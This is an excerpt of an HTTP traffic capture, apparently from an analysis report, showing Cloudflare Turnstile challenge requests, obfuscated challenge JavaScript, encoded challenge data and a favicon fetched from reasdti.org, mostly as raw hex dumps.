2025-03-21 18:13:18 UTC	1369	IN	Data Raw: 6e 63 74 69 6f 6e 28 47 2c 68 6a 2c 48 29 7b 66 6f 72 28 68 6a 3d 68 69 2c 47 5b 68 6a 28 31 34 37 32 29 5d 28 29 2c 48 3d 30 3b 6f 5b 68 6a 28 37 38 31 29 5d 28 48 2c 47 5b 68 6a 28 31 33 37 33 29 5d 29 3b 6f 5b 68 6a 28 31 37 36 37 29 5d 28 47 5b 48 5d 2c 47 5b 6f 5b 68 6a 28 36 30 34 29 5d 28 48 2c 31 29 5d 29 3f 47 5b 68 6a 28 31 37 34 38 29 5d 28 48 2b 31 2c 31 29 3a 48 2b 3d 31 29 3b 72 65 74 75 72 6e 20 47 7d 28 78 29 2c 42 3d 27 6e 41 73 41 61 41 62 27 2e 73 70 6c 69 74 28 27 41 27 29 2c 42 3d 42 5b 68 69 28 31 33 30 33 29 5d 5b 68 69 28 31 35 31 37 29 5d 28 42 29 2c 43 3d 30 3b 43 3c 78 5b 68 69 28 31 33 37 33 29 5d 3b 44 3d 78 5b 43 5d 2c 45 3d 66 6b 28 67 2c 68 2c 44 29 2c 42 28 45 29 3f 28 46 3d 45 3d 3d 3d 27 73 27 26 26 21 67 5b 68 69 28 31 Data Ascii: nction(G,hj,H){for(hj=hi,G[hj(1472)](),H=0;o[hj(781)](H,G[hj(1373)]);o[hj(1767)](G[H],G[o[hj(604)](H,1)])?G[hj(1748)](H+1,1):H+=1);return G}(x),B='nAsAaAb'.split('A'),B=B[hi(1303)][hi(1517)](B),C=0;C<x[hi(1373)];D=x[C],E=fk(g,h,D),B(E)?(F=E==='s'&&!g[hi(1
2025-03-21 18:13:18 UTC	1369	IN	Data Raw: 62 55 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 5e 69 7d 2c 27 43 50 70 63 42 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 5e 69 7d 2c 27 55 77 70 69 79 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 26 68 7d 2c 27 4a 55 47 52 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 61 68 6e 7a 51 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 5e 68 7d 2c 27 56 4d 4a 6e 42 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 5e 69 7d 2c 27 77 73 64 64 52 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 5e 68 7d 2c 27 41 44 6a 45 77 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 Data Ascii: bU':function(h,i){return h^i},'CPpcB':function(h,i){return h^i},'Uwpiy':function(h,i){return i&h},'JUGRh':function(h,i){return h-i},'ahnzQ':function(h,i){return i^h},'VMJnB':function(h,i){return h^i},'wsddR':function(h,i){return i^h},'ADjEw':function(h,i)
2025-03-21 18:13:18 UTC	1369	IN	Data Raw: 72 65 74 75 72 6e 20 68 26 69 7d 2c 27 45 72 7a 56 6e 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 63 43 48 41 62 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2a 69 7d 2c 27 67 75 48 6c 72 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 21 3d 68 7d 2c 27 54 51 6e 55 6c 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 2a 68 7d 2c 27 50 4e 43 79 78 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 55 48 4e 4c 56 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 61 74 75 62 79 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 Data Ascii: return h&i},'ErzVn':function(h,i){return i==h},'cCHAb':function(h,i){return hi},'guHlr':function(h,i){return i!=h},'TQnUl':function(h,i){return ih},'PNCyx':function(h,i){return h(i)},'UHNLV':function(h,i){return h<i},'atuby':function(h,i){return h==i},'
2025-03-21 18:13:18 UTC	1369	IN	Data Raw: 2c 31 37 35 29 2c 32 35 36 29 26 32 35 35 29 5e 33 31 2c 56 3d 5b 5d 2c 57 3d 30 3b 57 3c 55 3b 56 5b 68 50 28 36 33 31 29 5d 28 74 68 69 73 2e 68 5b 64 5b 68 50 28 31 32 35 30 29 5d 28 64 5b 68 50 28 37 32 33 29 5d 28 74 68 69 73 2e 68 5b 64 5b 68 50 28 38 39 39 29 5d 28 32 32 37 2c 74 68 69 73 2e 67 29 5d 5b 33 5d 2c 64 5b 68 50 28 31 35 38 34 29 5d 28 74 68 69 73 2e 68 5b 64 5b 68 50 28 34 30 30 29 5d 28 32 32 37 2c 74 68 69 73 2e 67 29 5d 5b 31 5d 5b 68 50 28 31 35 33 37 29 5d 28 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 32 32 37 5d 5b 30 5d 2b 2b 29 2c 31 37 35 29 2b 32 35 36 26 32 35 35 29 2c 32 35 35 29 5e 74 68 69 73 2e 67 5d 29 2c 57 2b 2b 29 3b 74 68 69 73 2e 68 5b 52 5e 74 68 69 73 2e 67 5d 3d 76 6f 69 64 20 30 3d 3d 3d 53 3f 54 5b 68 50 28 31 Data Ascii: ,175),256)&255)^31,V=[],W=0;W<U;V[hP(631)](this.h[d[hP(1250)](d[hP(723)](this.h[d[hP(899)](227,this.g)][3],d[hP(1584)](this.h[d[hP(400)](227,this.g)][1][hP(1537)](this.h[this.g^227][0]++),175)+256&255),255)^this.g]),W++);this.h[R^this.g]=void 0===S?T[hP(1
2025-03-21 18:13:18 UTC	1369	IN	Data Raw: 4c 3f 28 4c 3d 30 2c 4a 5b 68 50 28 36 33 31 29 5d 28 73 28 4b 29 29 2c 4b 3d 30 29 3a 4c 2b 2b 2c 43 2b 2b 29 3b 66 6f 72 28 50 3d 46 5b 68 50 28 31 35 33 37 29 5d 28 30 29 2c 43 3d 30 3b 64 5b 68 50 28 39 36 36 29 5d 28 38 2c 43 29 3b 4b 3d 4b 3c 3c 31 2e 34 31 7c 64 5b 68 50 28 31 34 35 37 29 5d 28 50 2c 31 29 2c 4c 3d 3d 6f 2d 31 3f 28 4c 3d 30 2c 4a 5b 68 50 28 36 33 31 29 5d 28 73 28 4b 29 29 2c 4b 3d 30 29 3a 4c 2b 2b 2c 50 3e 3e 3d 31 2c 43 2b 2b 29 3b 7d 65 6c 73 65 7b 66 6f 72 28 50 3d 31 2c 43 3d 30 3b 64 5b 68 50 28 39 39 30 29 5d 28 43 2c 49 29 3b 4b 3d 50 7c 4b 3c 3c 31 2c 64 5b 68 50 28 31 37 34 33 29 5d 28 4c 2c 64 5b 68 50 28 38 33 33 29 5d 28 6f 2c 31 29 29 3f 28 4c 3d 30 2c 4a 5b 68 50 28 36 33 31 29 5d 28 64 5b 68 50 28 39 30 31 29 5d Data Ascii: L?(L=0,J[hP(631)](s(K)),K=0):L++,C++);for(P=F[hP(1537)](0),C=0;d[hP(966)](8,C);K=K<<1.41\|d[hP(1457)](P,1),L==o-1?(L=0,J[hP(631)](s(K)),K=0):L++,P>>=1,C++);}else{for(P=1,C=0;d[hP(990)](C,I);K=P\|K<<1,d[hP(1743)](L,d[hP(833)](o,1))?(L=0,J[hP(631)](d[hP(901)]
2025-03-21 18:13:18 UTC	1369	IN	Data Raw: 29 2c 46 3d 31 3b 4b 21 3d 46 3b 4c 3d 64 5b 68 53 28 31 30 38 30 29 5d 28 47 2c 48 29 2c 48 3e 3e 3d 31 2c 64 5b 68 53 28 38 38 31 29 5d 28 30 2c 48 29 26 26 28 48 3d 6a 2c 47 3d 64 5b 68 53 28 39 30 31 29 5d 28 6f 2c 49 2b 2b 29 29 2c 4a 7c 3d 64 5b 68 53 28 37 30 38 29 5d 28 64 5b 68 53 28 31 37 35 36 29 5d 28 30 2c 4c 29 3f 31 3a 30 2c 46 29 2c 46 3c 3c 3d 31 29 3b 4d 3d 64 5b 68 53 28 31 37 38 31 29 5d 28 65 2c 4a 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 27 27 7d 66 6f 72 28 45 3d 73 5b 33 5d 3d 4d 2c 44 5b 68 53 28 36 33 31 29 5d 28 4d 29 3b 3b 29 7b 69 66 28 49 3e 69 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 68 53 28 34 39 30 29 5d 28 32 2c 43 29 2c 46 3d 31 3b 64 5b 68 53 28 31 31 36 39 29 5d Data Ascii: ),F=1;K!=F;L=d[hS(1080)](G,H),H>>=1,d[hS(881)](0,H)&&(H=j,G=d[hS(901)](o,I++)),J\|=d[hS(708)](d[hS(1756)](0,L)?1:0,F),F<<=1);M=d[hS(1781)](e,J);break;case 2:return''}for(E=s[3]=M,D[hS(631)](M);;){if(I>i)return'';for(J=0,K=Math[hS(490)](2,C),F=1;d[hS(1169)]
2025-03-21 18:13:18 UTC	1369	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 67 2c 68 29 7b 72 65 74 75 72 6e 20 67 28 68 29 7d 7d 29 3b 74 72 79 7b 72 65 74 75 72 6e 20 65 5b 69 33 28 31 36 35 38 29 5d 28 66 42 2c 63 29 7d 63 61 74 63 68 28 67 29 7b 69 66 28 69 33 28 31 33 37 37 29 21 3d 3d 69 33 28 34 34 32 29 29 72 65 74 75 72 6e 20 65 5b 69 33 28 31 36 35 38 29 5d 28 66 7a 2c 65 5b 69 33 28 31 33 38 37 29 5d 28 66 41 2c 63 29 29 3b 65 6c 73 65 7b 66 6f 72 28 6a 3d 65 5b 69 33 28 38 39 34 29 5d 28 74 68 69 73 2e 68 5b 65 5b 69 33 28 31 30 36 30 29 5d 28 32 32 37 2c 74 68 69 73 2e 67 29 5d 5b 33 5d 5e 65 5b 69 33 28 35 31 33 29 5d 28 65 5b 69 33 28 31 32 37 36 29 5d 28 74 68 69 73 2e 68 5b 32 32 37 5e 74 68 69 73 2e 67 5d 5b 31 5d 5b 69 33 28 31 35 33 37 29 5d 28 74 68 69 73 2e 68 5b 74 68 69 73 2e Data Ascii: :function(g,h){return g(h)}});try{return e[i3(1658)](fB,c)}catch(g){if(i3(1377)!==i3(442))return e[i3(1658)](fz,e[i3(1387)](fA,c));else{for(j=e[i3(894)](this.h[e[i3(1060)](227,this.g)][3]^e[i3(513)](e[i3(1276)](this.h[227^this.g][1][i3(1537)](this.h[this.

Timestamp	Bytes transferred	Direction	Data
2025-03-21 18:13:18 UTC	784	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/tc1qk/0x4AAAAAABB1TEUT3Pu9qD3S/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-21 18:13:18 UTC	240	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 18:13:18 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 923f6c26a9451831-EWR alt-svc: h3=":443"; ma=86400
2025-03-21 18:13:18 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2025-03-21 18:13:18 UTC	643	OUT	GET /page/images/favicon.ico HTTP/1.1 Host: reasdti.org Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://reasdti.org/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=u7ch8faibiok4oc1javn5n9pdv
2025-03-21 18:13:19 UTC	390	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 18:13:18 GMT Server: Apache/2.4.62 (Ubuntu) Last-Modified: Tue, 17 Sep 2024 02:03:54 GMT ETag: "47e-6224719f87680" Accept-Ranges: bytes Content-Length: 1150 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Content-Type Connection: close Content-Type: image/vnd.microsoft.icon
2025-03-21 18:13:19 UTC	1150	IN	Data Raw: 00 00 01 00 01 00 10 10 00 00 01 00 20 00 68 04 00 00 16 00 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 c3 0e 00 00 c3 0e 00 00 00 00 00 00 00 00 00 00 f5 c2 50 ff f3 b2 24 ff f3 b3 25 ff f3 b3 25 ff f3 b3 25 ff f3 b3 25 ff f3 b2 22 ff f9 d2 7d ff 8a a4 fa ff 39 65 f5 ff 3c 68 f6 ff 3c 68 f6 ff 3c 68 f6 ff 3c 68 f6 ff 3b 66 f6 ff 63 86 f8 ff f3 b7 32 ff f0 a5 00 ff f0 a5 00 ff f0 a5 00 ff f0 a5 00 ff f0 a5 00 ff f0 a4 00 ff f7 ca 66 ff 77 95 f9 ff 18 4b f3 ff 1c 4e f3 ff 1c 4e f3 ff 1c 4e f3 ff 1c 4e f3 ff 1a 4c f3 ff 49 71 f6 ff f3 b7 33 ff f0 a5 00 ff f0 a6 01 ff f0 a6 01 ff f0 a6 01 ff f0 a6 01 ff f0 a5 00 ff f7 cb 67 ff 77 96 f9 ff 19 4c f3 ff 1d 4f f3 ff 1d 4f f3 ff 1d 4f f3 ff 1d 4f f3 ff 1b 4e f3 ff 4a 72 f6 ff f3 Data Ascii: h( P$%%%%"}9e<h<h<h<h;fc2fwKNNNNLIq3gwLOOOONJr

Timestamp	Bytes transferred	Direction	Data
2025-03-21 18:13:19 UTC	1190	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/132450000:1742577972:IU7Gl_IiNb9l9P-bT3cbkeDnekT5wbZ34g1OZL0bOSE/923f6c22fa388c73/ZU5.xxhFz5vQEtyIS_BSJPJWIlMcl3xahplA0ZAkHl4-1742580797-1.1.1.1-lkQKINFZdnonMg8lEdtgri0H7VLo4v68q7cq4gUSizoIyK7NQ8otxPuSafYZUAmo HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3395 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 cf-chl: ZU5.xxhFz5vQEtyIS_BSJPJWIlMcl3xahplA0ZAkHl4-1742580797-1.1.1.1-lkQKINFZdnonMg8lEdtgri0H7VLo4v68q7cq4gUSizoIyK7NQ8otxPuSafYZUAmo cf-chl-ra: 0 sec-ch-ua-mobile: ?0 Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/tc1qk/0x4AAAAAABB1TEUT3Pu9qD3S/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-21 18:13:19 UTC	3395	OUT	Data Raw: 2b 24 31 6e 70 6e 59 6e 6a 6e 31 6e 73 39 7a 68 39 7a 4f 6e 39 43 75 63 56 4a 39 46 7a 56 7a 30 36 43 55 2d 44 7a 38 69 63 6e 5a 44 75 69 7a 52 7a 42 44 56 63 49 44 78 59 74 49 7a 46 44 55 49 7a 79 7a 2b 33 6e 7a 70 69 6e 7a 45 55 7a 45 4c 24 78 47 7a 6a 31 48 69 69 49 55 44 75 58 7a 72 43 75 30 7a 6a 4d 72 2d 24 7a 47 6e 78 2d 63 4a 66 51 79 64 7a 77 2b 54 69 57 64 7a 2b 43 39 59 45 4e 38 45 72 46 75 7a 75 49 2d 67 4b 50 53 6d 6a 4d 4e 73 63 6e 7a 31 53 53 68 6a 4d 5a 30 7a 39 45 55 7a 75 59 74 53 24 24 57 46 24 6e 45 57 4f 43 2b 34 4c 78 71 4d 43 57 46 7a 75 4d 63 39 6f 72 36 7a 75 42 7a 45 6a 36 7a 69 31 7a 68 41 6e 7a 77 59 4d 55 4f 45 72 2d 7a 55 33 52 2b 63 24 53 7a 56 31 69 63 6e 4f 4d 7a 42 31 7a 6e 41 6e 24 32 56 57 7a 72 6e 7a 30 45 62 4f 37 7a Data Ascii: +$1npnYnjn1ns9zh9zOn9CucVJ9FzVz06CU-Dz8icnZDuizRzBDVcIDxYtIzFDUIzyz+3nzpinzEUzEL$xGzj1HiiIUDuXzrCu0zjMr-$zGnx-cJfQydzw+TiWdz+C9YEN8ErFuzuI-gKPSmjMNscnz1SShjMZ0z9EUzuYtS$$WF$nEWOC+4LxqMCWFzuMc9or6zuBzEj6zi1zhAnzwYMUOEr-zU3R+c$SzV1icnOMzB1znAn$2VWzrnz0EbO7z
2025-03-21 18:13:19 UTC	1051	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 18:13:19 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 229168 Connection: close cf-chl-gen: yurwc39ox33HPYxxxRTGP6yihQGk8UvZPAqFUePVAIIsEnvZBRWofa6ck9/dpXs44Qdrk7ckd6YFKFfwyoNtwv5iLDaQH9F57K/VjyHi1ArI82xxdmzCvFu52UgUHFMitvtodvGmezZtSxNtJxdC6Z53bVxm0S5mHaC/7eNqYzHyYJUhQzbNt+JfavYlWvF0A09bDfEapYDnW7c3VN+4hGZGvlbt+QhVyM9WmNWLZ2XoSaMRDZuC4u/13Do7Gn2FG2TTvqkvYvDjcjSiqerE7GkfzFDdzaSxa4ezwsG4QSU2wV+US9owzV66aQz4ft3AZmRk8zY/GqBbPHyIO0ve8i4vajVM2ddG9OC9sE/t37rlwzfpt+OTRAx5pSPVV+sQwjsepuJMTdL6csOnrM9u9YZLOES2kd/T14A3sTOZuwzfBdV/9sdhiyvJ1wTkSyB+5c35Cu3pZGJHinekgb3o7sHVxt2zwS0/zMzcYT6qN84ieKeCcGwMxEkAnDrLW6PparwO37rAfZey2zff1Y0mRlt7RWZUoopLQw1cSf2jOhXL/TB4KLndeoM8I26DFdIwV0ka2HFdczi7YAs+sdC+60lrWmS6Q0C967jn/VGfscvW99DM2eOJY8B8Fq/UmGL+1Gww0A4kxnTw5htksDTNw3IlIwFMCMfIry/PptdbLdnz1wJhR0xH7MD3enrGRB1ttU0XNpR9pUaNnM7STynWmcRhqBtwqVV8pw5gx2THXWID7cvDGOey6QPTpF0Uc+EmA9cgFdq1G3a30G3aF2jzhw==$+6N+ko+s8CzNPDGZv+Zu3Q== Server: cloudflare CF-RAY: 923f6c2adcac97d2-EWR alt-svc: h3=":443"; ma=86400
2025-03-21 18:13:19 UTC	318	IN	Data Raw: 62 46 79 41 65 30 36 4d 62 47 2b 4c 6b 5a 57 4a 63 32 61 58 69 5a 4b 5a 6f 70 71 5a 59 70 36 42 69 48 53 6b 6b 32 5a 2f 6d 61 79 66 62 59 4e 7a 6b 5a 4e 2b 61 59 61 30 75 6f 71 73 6a 72 71 37 73 6f 36 4c 73 5a 75 65 76 37 4b 39 6d 5a 53 35 76 49 58 4a 76 61 53 61 79 36 7a 47 6b 62 54 50 79 5a 62 53 73 74 47 75 74 4d 33 41 71 36 48 4c 6e 74 76 57 32 64 6d 6d 35 64 6e 41 78 75 66 4a 35 61 37 71 35 2b 62 48 35 75 58 77 32 62 72 70 30 63 62 33 31 75 7a 35 36 76 4c 77 2f 65 34 42 41 4d 4d 44 42 50 37 49 7a 76 33 6c 41 51 77 41 41 74 4c 77 37 67 2f 70 30 67 55 4e 2f 52 63 53 2b 64 37 71 32 77 58 7a 38 77 59 69 4a 42 2f 71 47 2f 6b 5a 47 4f 63 45 42 53 6b 74 4c 68 55 71 4d 50 4c 73 4e 54 59 50 49 43 34 57 49 41 77 30 49 6a 34 46 47 55 67 42 50 77 4a 4b 50 51 63 Data Ascii: bFyAe06MbG+LkZWJc2aXiZKZopqZYp6BiHSkk2Z/mayfbYNzkZN+aYa0uoqsjrq7so6LsZuev7K9mZS5vIXJvaSay6zGkbTPyZbSstGutM3Aq6HLntvW2dmm5dnAxufJ5a7q5+bH5uXw2brp0cb31uz56vLw/e4BAMMDBP7Izv3lAQwAAtLw7g/p0gUN/RcS+d7q2wXz8wYiJB/qG/kZGOcEBSktLhUqMPLsNTYPIC4WIAw0Ij4FGUgBPwJKPQc
2025-03-21 18:13:19 UTC	1369	IN	Data Raw: 68 49 57 33 46 38 59 58 78 39 5a 58 61 41 57 6a 31 36 65 32 42 37 66 6f 6c 6b 58 59 75 47 54 32 42 6f 5a 35 57 62 6c 70 4e 2f 66 5a 4b 5a 64 47 36 64 70 6e 5a 36 65 35 78 2b 66 34 53 48 64 36 69 62 6f 36 71 7a 6f 61 5a 7a 73 71 61 53 63 34 53 72 6d 72 52 78 64 38 42 39 6a 4a 53 54 77 63 66 42 76 35 7a 4c 76 4d 57 4a 6a 37 36 71 69 35 7a 44 73 73 79 4a 6a 39 69 56 70 4b 75 72 32 5a 69 2b 30 70 37 6a 32 64 75 79 34 4c 4c 4a 35 37 61 30 78 75 33 6f 79 75 4f 76 36 39 4c 75 78 71 6e 79 38 66 4c 75 36 74 66 74 2b 4e 72 34 31 4f 48 69 2f 66 37 7a 34 50 72 48 31 4f 6f 48 43 4f 62 69 41 4e 37 39 2f 4d 2f 33 41 4f 38 50 37 41 67 4c 39 78 6e 77 45 65 44 32 37 50 50 7a 49 68 51 41 49 69 49 42 47 77 67 6a 2b 43 41 50 4b 2f 41 32 4e 69 30 42 43 41 67 32 39 42 73 76 2b Data Ascii: hIW3F8YXx9ZXaAWj16e2B7folkXYuGT2BoZ5WblpN/fZKZdG6dpnZ6e5x+f4SHd6ibo6qzoaZzsqaSc4SrmrRxd8B9jJSTwcfBv5zLvMWJj76qi5zDssyJj9iVpKur2Zi+0p7j2duy4LLJ57a0xu3oyuOv69Luxqny8fLu6tft+Nr41OHi/f7z4PrH1OoHCObiAN79/M/3AO8P7AgL9xnwEeD27PPzIhQAIiIBGwgj+CAPK/A2Ni0BCAg29Bsv+
2025-03-21 18:13:19 UTC	1369	IN	Data Raw: 51 5a 6c 6c 44 56 47 70 65 52 31 68 75 5a 45 74 63 63 6d 6c 50 59 48 5a 75 56 6f 4a 4e 55 6d 68 6f 66 5a 31 66 6d 4a 74 6a 64 6f 65 69 6d 4a 65 4b 6e 34 43 4e 69 34 69 71 6b 59 2b 49 72 70 57 54 6d 4c 4b 5a 6c 34 53 32 6e 5a 70 2b 6b 72 2b 71 76 59 2f 44 6b 72 32 77 67 35 79 7a 6f 4d 61 67 79 35 69 75 6f 6f 79 2f 77 37 4f 6d 31 72 53 6a 31 4d 62 51 78 71 6e 53 31 4e 72 62 32 37 2f 67 75 4e 69 6f 6f 65 6a 41 32 2b 6a 72 7a 4f 2b 6f 37 4c 7a 74 39 4d 37 41 31 4d 50 30 35 75 33 64 32 64 72 79 76 76 37 66 39 75 66 41 30 50 4c 68 31 4e 76 62 43 74 6e 6f 42 66 41 45 44 67 33 6f 44 41 59 52 31 2b 58 35 32 74 77 42 31 69 49 45 44 4f 45 6b 35 51 41 42 2f 68 4d 59 46 2f 34 5a 4a 52 73 44 48 53 30 66 42 79 45 35 49 77 73 6c 39 53 63 50 4b 66 30 34 4f 77 45 44 47 52 Data Ascii: QZllDVGpeR1huZEtccmlPYHZuVoJNUmhofZ1fmJtjdoeimJeKn4CNi4iqkY+IrpWTmLKZl4S2nZp+kr+qvY/Dkr2wg5yzoMagy5iuooy/w7Om1rSj1MbQxqnS1Nrb27/guNiooejA2+jrzO+o7Lzt9M7A1MP05u3d2dryvv7f9ufA0PLh1NvbCtnoBfAEDg3oDAYR1+X52twB1iIEDOEk5QAB/hMYF/4ZJRsDHS0fByE5Iwsl9ScPKf04OwEDGR
2025-03-21 18:13:19 UTC	1369	IN	Data Raw: 66 6e 61 4c 59 34 4a 4b 61 47 61 56 64 47 71 57 6c 6e 71 53 6d 5a 4b 4a 69 33 4b 53 65 48 4b 68 5a 48 46 6d 6b 47 4e 37 6b 34 47 6c 61 61 75 48 6a 57 6d 73 66 5a 57 7a 71 49 43 4f 6b 37 53 56 72 6e 75 4a 6e 62 6d 55 77 37 75 38 6c 6e 6d 32 68 6f 6a 44 6c 73 65 66 70 6f 33 4e 6a 38 32 66 30 36 4c 42 77 4a 4b 58 30 39 50 54 72 37 32 39 32 64 6e 41 30 72 79 6a 30 73 62 61 71 4d 47 69 32 37 6e 4c 32 50 4b 74 70 65 7a 6b 73 2b 2f 53 37 38 76 5a 79 76 54 50 35 2b 36 2b 77 4f 2f 4e 41 4e 66 62 34 4f 41 4b 42 65 6f 42 42 2f 66 74 43 2b 50 70 36 2f 58 54 34 66 55 4e 41 78 54 35 44 77 44 59 38 66 33 37 48 66 4d 47 46 51 63 68 4b 41 6e 2b 36 51 45 4d 4a 2b 30 61 36 50 77 45 42 44 49 30 4d 7a 49 63 37 53 73 79 2b 54 67 77 2f 67 4a 45 46 45 63 2b 49 78 30 57 46 7a 63 Data Ascii: fnaLY4JKaGaVdGqWlnqSmZKJi3KSeHKhZHFmkGN7k4GlaauHjWmsfZWzqICOk7SVrnuJnbmUw7u8lnm2hojDlsefpo3Nj82f06LBwJKX09PTr7292dnA0ryj0sbaqMGi27nL2PKtpezks+/S78vZyvTP5+6+wO/NANfb4OAKBeoBB/ftC+Pp6/XT4fUNAxT5DwDY8f37HfMGFQchKAn+6QEMJ+0a6PwEBDI0MzIc7Ssy+Tgw/gJEFEc+Ix0WFzc
2025-03-21 18:13:19 UTC	1369	IN	Data Raw: 31 43 53 61 56 46 74 69 59 2b 54 68 31 56 5a 6c 32 6d 67 67 31 6d 69 66 6c 39 77 6c 6f 61 69 61 47 4b 73 61 58 69 41 6b 59 43 45 68 72 4f 55 69 72 56 32 74 49 79 73 66 4a 4b 49 6b 71 47 51 6c 4a 62 44 70 4a 72 48 78 35 62 42 74 49 54 44 79 38 6e 42 6f 36 6e 43 79 71 66 54 30 37 62 51 6a 64 33 64 31 4b 69 79 72 39 33 6a 76 39 4f 32 33 38 44 55 74 71 71 70 32 64 6e 51 76 75 37 53 35 71 37 71 34 65 66 4b 35 38 6d 31 2b 62 7a 4b 36 75 37 68 33 76 7a 4f 35 51 54 51 32 77 51 41 44 65 45 41 44 74 66 49 43 63 34 53 43 42 59 43 46 67 77 61 46 68 6f 51 48 2f 4d 65 46 43 4d 4f 49 68 67 6e 49 78 77 6d 4a 79 6b 71 49 43 66 67 37 41 4d 76 2f 42 49 65 44 66 41 46 39 43 63 4a 43 52 6b 6e 44 51 30 63 4b 78 45 52 49 79 38 56 46 53 45 7a 47 52 6b 6b 54 79 78 4d 49 6a 38 4a Data Ascii: 1CSaVFtiY+Th1VZl2mgg1mifl9wloaiaGKsaXiAkYCEhrOUirV2tIysfJKIkqGQlJbDpJrHx5bBtITDy8nBo6nCyqfT07bQjd3d1Kiyr93jv9O238DUtqqp2dnQvu7S5q7q4efK58m1+bzK6u7h3vzO5QTQ2wQADeEADtfICc4SCBYCFgwaFhoQH/MeFCMOIhgnIxwmJykqICfg7AMv/BIeDfAF9CcJCRknDQ0cKxERIy8VFSEzGRkkTyxMIj8J
